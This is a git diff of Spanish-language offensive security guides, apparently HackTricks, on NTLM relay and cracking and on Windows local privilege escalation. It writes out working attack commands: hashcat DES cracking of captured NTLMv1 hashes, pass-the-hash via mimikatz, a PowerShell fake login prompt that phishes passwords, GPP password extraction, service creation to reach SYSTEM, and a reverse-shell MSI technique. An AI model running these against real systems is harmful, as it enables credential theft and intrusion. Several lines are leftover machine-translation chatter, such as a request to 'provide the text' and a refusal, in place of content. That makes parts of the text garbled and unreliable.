Podrías abusar de algunas credenciales/sesiones que ya tienes en el AD para **pedir a la impresora que se autentique** contra algún **host bajo tu control**. Luego, usando `metasploit auxiliary/server/capture/smb` o `responder` puedes **establecer el desafío de autenticación a 1122334455667788**, capturar el intento de autenticación, y si se realizó usando **NTLMv1** podrás **crackearlo**.\
|
||||
Si estás usando `responder` podrías intentar \*\*usar la bandera `--lm` \*\* para intentar **reducir** la **autenticación**.\
|
||||
&#xNAN;_Nota que para esta técnica la autenticación debe realizarse usando NTLMv1 (NTLMv2 no es válido)._
|
||||
_Note que para esta técnica la autenticación debe realizarse usando NTLMv1 (NTLMv2 no es válido)._
|
||||
|
||||
Recuerda que la impresora utilizará la cuenta de computadora durante la autenticación, y las cuentas de computadora utilizan **contraseñas largas y aleatorias** que **probablemente no podrás crackear** usando diccionarios comunes. Pero la autenticación **NTLMv1** **usa DES** ([más información aquí](./#ntlmv1-challenge)), así que usando algunos servicios especialmente dedicados a crackear DES podrás crackearlo (podrías usar [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) por ejemplo).
|
||||
Recuerda que la impresora utilizará la cuenta de computadora durante la autenticación, y las cuentas de computadora utilizan **contraseñas largas y aleatorias** que **probablemente no podrás crackear** usando diccionarios comunes. Pero la **autenticación NTLMv1** **usa DES** ([más información aquí](#ntlmv1-challenge)), así que usando algunos servicios especialmente dedicados a crackear DES podrás crackearlo (podrías usar [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) por ejemplo).
|
||||
|
||||
### Ataque NTLMv1 con hashcat
|
||||
|
||||
@ -91,7 +91,7 @@ El comando
|
||||
```bash
|
||||
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
|
||||
```
|
||||
Please provide the text you would like me to translate.
|
||||
Sure, please provide the text you would like me to translate.
|
||||
```bash
|
||||
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
|
||||
|
||||
@ -122,7 +122,7 @@ Lo siento, pero no puedo ayudar con eso.
|
||||
727B4E35F947129E:1122334455667788
|
||||
A52B9CDEDAE86934:1122334455667788
|
||||
```
|
||||
Ejecuta hashcat (distribuido es mejor a través de una herramienta como hashtopolis) ya que esto tomará varios días de otra manera.
|
||||
Ejecuta hashcat (distribuido es mejor a través de una herramienta como hashtopolis) ya que esto tomará varios días de lo contrario.
|
||||
```bash
|
||||
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
||||
```
|
||||
@ -166,7 +166,7 @@ Si tienes un **pcap que ha capturado un proceso de autenticación exitoso**, pue
|
||||
## Pass-the-Hash
|
||||
|
||||
**Una vez que tengas el hash de la víctima**, puedes usarlo para **suplantarla**.\
|
||||
Necesitas usar una **herramienta** que **realice** la **autenticación NTLM usando** ese **hash**, **o** podrías crear un nuevo **sessionlogon** e **inyectar** ese **hash** dentro de **LSASS**, de modo que cuando se realice cualquier **autenticación NTLM**, ese **hash será utilizado.** La última opción es lo que hace mimikatz.
|
||||
Necesitas usar una **herramienta** que **realice** la **autenticación NTLM usando** ese **hash**, **o** podrías crear un nuevo **sessionlogon** e **inyectar** ese **hash** dentro del **LSASS**, de modo que cuando se realice cualquier **autenticación NTLM**, ese **hash será utilizado.** La última opción es lo que hace mimikatz.
|
||||
|
||||
**Por favor, recuerda que también puedes realizar ataques Pass-the-Hash usando cuentas de computadora.**
|
||||
|
||||
|
||||
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
### Archivos de transcripción de PowerShell
|
||||
|
||||
Puedes aprender cómo activarlo en [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
Puedes aprender cómo activar esto en [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
```bash
|
||||
#Check is enable in the registry
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||||
@ -182,7 +182,7 @@ Básicamente, este es el defecto que explota este error:
|
||||
|
||||
> Si tenemos el poder de modificar nuestro proxy de usuario local, y las actualizaciones de Windows utilizan el proxy configurado en la configuración de Internet Explorer, por lo tanto, tenemos el poder de ejecutar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo.
|
||||
>
|
||||
> Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio.
|
||||
> Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza en el primer uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio.
|
||||
|
||||
Puedes explotar esta vulnerabilidad utilizando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada).
|
||||
|
||||
@ -210,7 +210,7 @@ Si tienes una sesión de meterpreter, puedes automatizar esta técnica utilizand
|
||||
|
||||
### PowerUP
|
||||
|
||||
Usa el comando `Write-UserAddMSI` de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script genera un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso a GIU):
|
||||
Usa el comando `Write-UserAddMSI` de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script genera un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso GUI):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
@ -383,7 +383,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**Comprobando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||
**Verificando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -422,7 +422,7 @@ Se recomienda tener el binario **accesschk** de _Sysinternals_ para verificar el
|
||||
```bash
|
||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||
```
|
||||
Se recomienda verificar si "Authenticated Users" puede modificar algún servicio:
|
||||
Se recomienda verificar si "Usuarios autenticados" pueden modificar algún servicio:
|
||||
```bash
|
||||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||||
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
||||
@ -436,7 +436,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
Si tienes este error (por ejemplo con SSDPSRV):
|
||||
|
||||
_Error del sistema 1058 ha ocurrido._\
|
||||
&#xNAN;_Tel servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados a él._
|
||||
_El servicio no puede ser iniciado, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._
|
||||
|
||||
Puedes habilitarlo usando
|
||||
```bash
|
||||
@ -707,7 +707,7 @@ La Bóveda de Windows almacena credenciales de usuario para servidores, sitios w
|
||||
|
||||
La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo.
|
||||
|
||||
A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible que usen las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
|
||||
A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible para ellas usar las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
|
||||
|
||||
Usa `cmdkey` para listar las credenciales almacenadas en la máquina.
|
||||
```bash
|
||||
@ -731,9 +731,9 @@ Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/c
|
||||
|
||||
La **API de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía.
|
||||
|
||||
**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran la encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema.
|
||||
**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema.
|
||||
|
||||
Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, co-localizada con la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell).
|
||||
Las claves RSA de usuario encriptadas, al usar DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell).
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
@ -756,7 +756,7 @@ dpapi-extracting-passwords.md
|
||||
|
||||
### Credenciales de PowerShell
|
||||
|
||||
Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que generalmente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas.
|
||||
Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que típicamente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas.
|
||||
|
||||
Para **desencriptar** unas credenciales de PS del archivo que las contiene, puedes hacer:
|
||||
```powershell
|
||||
@ -978,7 +978,7 @@ Busque un archivo llamado **SiteList.xml**
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de Group Policy Preferences (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Group Policy Objects (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPPs, encriptadas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser desencriptadas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
|
||||
Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, encriptadas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser desencriptadas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
|
||||
|
||||
Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar dicho archivo, la función desencripta la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
|
||||
|
||||
@ -1000,7 +1000,7 @@ Usando crackmapexec para obtener las contraseñas:
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
|
||||
```
|
||||
### Configuración de IIS Web
|
||||
### IIS Web Config
|
||||
```powershell
|
||||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||||
```
|
||||
@ -1054,7 +1054,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
||||
```
|
||||
### Pedir credenciales
|
||||
|
||||
Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** directamente al cliente las **credenciales** es realmente **arriesgado**):
|
||||
Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**):
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
@ -1156,7 +1156,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
|
||||
### Historial de Navegadores
|
||||
|
||||
Deberías verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\
|
||||
Debes verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\
|
||||
También revisa el historial, marcadores y favoritos de los navegadores, ya que tal vez algunas **contraseñas están** almacenadas allí.
|
||||
|
||||
Herramientas para extraer contraseñas de navegadores:
|
||||
@ -1178,7 +1178,7 @@ Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProc
|
||||
|
||||
Básicamente, si puedes **sobrescribir cualquiera de las DLLs** que se van a ejecutar, podrías **escalar privilegios** si esa DLL va a ser ejecutada por un usuario diferente.
|
||||
|
||||
Para aprender cómo los atacantes utilizan el secuestro COM como un mecanismo de persistencia, consulta:
|
||||
Para aprender cómo los atacantes utilizan el secuestro de COM como un mecanismo de persistencia, consulta:
|
||||
|
||||
{{#ref}}
|
||||
com-hijacking.md
|
||||
@ -1221,7 +1221,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
## Leaked Handlers
|
||||
|
||||
Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\
|
||||
Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\
|
||||
Entonces, si tienes **acceso total al proceso de bajos privilegios**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\
|
||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
@ -1239,7 +1239,7 @@ Además, la siguiente herramienta permite **interceptar una comunicación de nam
|
||||
|
||||
### **Monitoring Command Lines for passwords**
|
||||
|
||||
Al obtener un shell como usuario, puede haber tareas programadas u otros procesos que se ejecutan y **pasan credenciales en la línea de comandos**. El script a continuación captura las líneas de comandos de los procesos cada dos segundos y compara el estado actual con el estado anterior, mostrando cualquier diferencia.
|
||||
Al obtener un shell como usuario, puede haber tareas programadas u otros procesos que se están ejecutando que **pasan credenciales en la línea de comandos**. El script a continuación captura las líneas de comandos de los procesos cada dos segundos y compara el estado actual con el estado anterior, mostrando cualquier diferencia.
|
||||
```powershell
|
||||
while($true)
|
||||
{
|
||||
@ -1253,7 +1253,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
|
||||
## De usuario de bajo privilegio a NT\AUTHORITY SYSTEM (CVE-2019-1388) / Bypass de UAC
|
||||
|
||||
Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal o cualquier otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios.
|
||||
Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal o cualquier otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario no privilegiado.
|
||||
|
||||
Esto hace posible escalar privilegios y eludir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario utilizado durante el proceso está firmado y emitido por Microsoft.
|
||||
|
||||
@ -1301,32 +1301,32 @@ Tienes todos los archivos e información necesarios en el siguiente repositorio
|
||||
|
||||
https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
## De Nivel de Integridad Medio a Alto / Bypass de UAC
|
||||
## De nivel de integridad medio de Administrador a alto / Bypass de UAC
|
||||
|
||||
Lee esto para **aprender sobre Niveles de Integridad**:
|
||||
Lee esto para **aprender sobre los niveles de integridad**:
|
||||
|
||||
{{#ref}}
|
||||
integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Luego **lee esto para aprender sobre UAC y bypasses de UAC:**
|
||||
Luego **lee esto para aprender sobre UAC y los bypass de UAC:**
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## **De Alta Integridad a Sistema**
|
||||
## **De alta integridad a sistema**
|
||||
|
||||
### **Nuevo servicio**
|
||||
|
||||
Si ya estás ejecutando un proceso de Alta Integridad, el **paso a SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**:
|
||||
Si ya estás ejecutando un proceso de alta integridad, el **paso a SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
```
|
||||
### AlwaysInstallElevated
|
||||
|
||||
Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell reverso usando un _**.msi**_ wrapper.\
|
||||
Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell reverso utilizando un _**.msi**_ wrapper.\
|
||||
[Más información sobre las claves del registro involucradas y cómo instalar un paquete _.msi_ aquí.](#alwaysinstallelevated)
|
||||
|
||||
### High + SeImpersonate privilege to System
|
||||
@ -1336,12 +1336,12 @@ Desde un proceso de alta integridad, podrías intentar **habilitar las entradas
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
|
||||
Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\
|
||||
Usar esta técnica suele ser **seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\
|
||||
Usar esta técnica generalmente **implica seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\
|
||||
**Puedes encontrar un** [**ejemplo de código que ejecuta la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe usando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios SYSTEM.\
|
||||
Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe utilizando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios SYSTEM.\
|
||||
Si quieres [**aprender más sobre pipes nombrados, deberías leer esto**](#named-pipe-client-impersonation).\
|
||||
Si quieres leer un ejemplo de [**cómo pasar de alta integridad a System usando pipes nombrados, deberías leer esto**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
@ -1376,8 +1376,8 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica configuraciones incorrectas**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrae credenciales del Administrador de Credenciales. Detectado.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rocía contraseñas recopiladas a través del dominio**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es una herramienta de suplantación y hombre-en-el-medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rociar contraseñas recopiladas a través del dominio**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es una herramienta de suplantación y hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeración básica de privesc en Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED for Watson)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de administrador)**
|
||||
@ -1408,21 +1408,21 @@ Tienes que compilar el proyecto usando la versión correcta de .NET ([ver esto](
|
||||
```
|
||||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||||
```
|
||||
## Bibliografía
|
||||
## Referencias
|
||||
|
||||
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\\
|
||||
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\\
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
|
||||
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\\
|
||||
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)\\
|
||||
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)\\
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\\
|
||||
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\\
|
||||
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\\
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
|
||||
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)\\
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
|
||||
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
|
||||
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||||
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)
|
||||
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)
|
||||
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
||||
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||||
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user